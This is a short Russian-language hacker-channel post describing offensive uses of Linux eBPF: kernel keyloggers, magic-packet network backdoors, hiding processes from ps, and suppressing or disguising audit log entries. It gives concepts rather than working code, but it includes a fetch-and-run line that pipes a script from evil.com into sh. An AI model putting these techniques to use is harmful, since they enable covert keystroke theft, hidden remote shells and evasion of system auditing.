Рубрика
На заметку $USERNAME@hacker.wtf -
part 10
**
Хотя eBPF изначально это tracing (perf, bpftrace) / networking (XDP) / security (Cilium) для нас
eBPF = возможность запускать свои грязные лапы по средствам программ прямо в
kernel space .
Влияние на ядро без модулей !
Вся безопасность на
eBPF verifier - он вроде как должен гарантировать что: нет выхода за границы, нет произвольной записи в память, нет kernel corruption и прочего непотребства.
verifier можно сломать !
verifier можно обойти !
*
CAP_BPF / CAP_SYS_ADMINНеочевидный кейс
### Если процесс имеет:
CAP_BPF
### или
CAP_SYS_ADMIN
##check
getcap -r / 2>/dev/null
То можно загружать eBPF программы, влиять на систему. И это не баг, а штатное поведение.
*
*
Кейлоггер в ядреeBPF цепляется к:
sys_read
tty_read
input subsystem
И всё ! весь ввод теперь наш. нет процесса, нет бинаря, нет демона, все в kernel.
*
*
Invisible backdoor и network hookeBPF можно повесить на socket или на tcp connect или XDP (уровень сетевухи), ииии если послать magic packet (например "0xproxybar") можно ыполнить действие (шелл отдать или payload запустить), порт не открыт, netstat ничего не показывает, firewall чист, а backdoor есть.
*
*
userspace rootkit без LKMКонцепт таков: перехватывает
sys_getdents (это syscall который делает
ls), если имя
нашего процесса evil -
не возвращаем его в список/
В итоге
ps aux грустит, а evil живет свою жизнь.
*
*
Bypass audit / loggingЕсли запустить
/tmp/evil.sh произойдет цепочка:
userspace > вызывает syscall (execve) > kernel обрабатывает syscall > auditd получает событие > поздравляю вы
в танцах в логах
eBPF нужно вклинить между syscall и логированием, а именно через:
kprobe или
tracepoint или
LSM hooks.
Если eBPF висит на execve, можно фильтровать событий ДО логирования.
Или частая тема с сокрытием аргументов - запустили curl
http://evil.com/payload.sh | sh а eBPF делает
execve("/usr/bin/curl", "safe args")Или что называется
selective stealth, можно же не отключать всё, а только конкретные процессы \ команды \ UIDы:
если uid == 1000 > в логи
если uid == 1337 > в null
В Linux можно не маскировать действия, достаточно скрыть факт, что они вообще были.
#РубрикаНаЗаметкуХакеру